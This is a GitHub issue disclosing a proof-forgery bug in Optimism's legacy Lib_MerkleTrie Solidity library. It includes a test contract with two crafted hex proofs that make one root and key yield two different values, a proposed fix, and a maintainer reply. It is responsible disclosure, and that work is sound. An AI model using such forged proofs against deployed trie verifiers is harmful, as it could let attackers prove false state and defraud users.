Lib_MerkleTrie is susceptible to proof forgeries

[tjade273]

Describe the bug A carefully constructed internal MPT node can be interpreted alternatively as a "short" (<32 bytes) node, literally embedded in the parent or as the hash of a "long" node. It is possible to insert a pair of leaf nodes such that the Lib_MerkleTrie.get function will return a value that is not in the trie when queried at one of the keys and supplied with a maliciously constructed proof.

This bug is not exploitable in the live contracts as it requires a branch node close to the leaf, which is impractical to construct in a trie where keys are hashes, such as in the Ethereum state trie. All uses of Lib_MerkleTrie in the Optimism codebase are called via Lib_SecureMerkleTrie, which enforces that keys are keccak256 hashes. However, for defense in depth and to protect future use cases, Lib_MerkleTrie should strongly guarantee a lack of proof forgeries.

To Reproduce Execute this contract:

pragma solidity 0.8.14;

import "../src/Lib_RLPReader.sol";
import "../src/Lib_MerkleTrie.sol";
import "../src/Lib_BytesUtils.sol";
import "forge-std/console.sol";

contract Test{
    bytes constant key = hex"0000000000000000000000000000000000000000000000000000000000000000";
    bytes32 constant root = 0x3c88fcfaefa2e96e5192a9ec39e1ec17c71f7b6194875879754a545ac12cb0d7;
    function testProofDivergence() public pure {
        bytes memory proof1 = hex"f8a4b844f842a01000000000000000000000000000000000000000000000000000000000000000a028456157f0fb83de685c3bac05f3a363bc2d9a367596d6001e8b42106f37c892b83bf839a0de209cd2f1897ee75b1a9bc61c5d2e25f1a5580ecb23c598894e64683e833200c82086666f6f626172808080808080808080808080808080a0df209d000000000000000000000000000000000000000000516b758b00000000";
        bytes memory proof2 = hex"f8a3b844f842a01000000000000000000000000000000000000000000000000000000000000000a028456157f0fb83de685c3bac05f3a363bc2d9a367596d6001e8b42106f37c892b83bf839a0de209cd2f1897ee75b1a9bc61c5d2e25f1a5580ecb23c598894e64683e833200c82086666f6f6261728080808080808080808080808080809fde209cd2f1897ee75b1a9bc61c5d2e25f1a5580ecb23c598894e64683e8332";
        (bool exists1, bytes memory value1) = Lib_MerkleTrie.get(key, proof1, root);
        require(exists1, "Proof 1 proved exclusion");
        (bool exists2, bytes memory value2) = Lib_MerkleTrie.get(key, proof2, root);
        require(exists2, "Proof 2 proved exclusion");

        assert(!Lib_BytesUtils.equal(value1, value2));
    }
}

Expected behavior Two unequal values should not be returned by Lib_MerkleTrie.get for an identical root and key.

Additional context A reasonable fix for this issue is to compare the hashes of the nodeIds instead of padding the short node and comparing the values directly. As an example: https://github.com/lidofinance/curve-merkle-oracle/blob/fffd375659358af54a6e8bbf8c3aa44188894c81/contracts/MerklePatriciaProofVerifier.sol#L169-L184

[tjade273]

Details and example construction: https://github.com/tjade273/optimism-merkle-forgery-poc

[smartcontracts]

We are aware of this issue in the legacy Lib_MerkleTrie contract. We believe this should be fixed in the updated Bedrock version of the contract: https://github.com/ethereum-optimism/optimism/blob/develop/packages/contracts-bedrock/contracts/libraries/trie/MerkleTrie.sol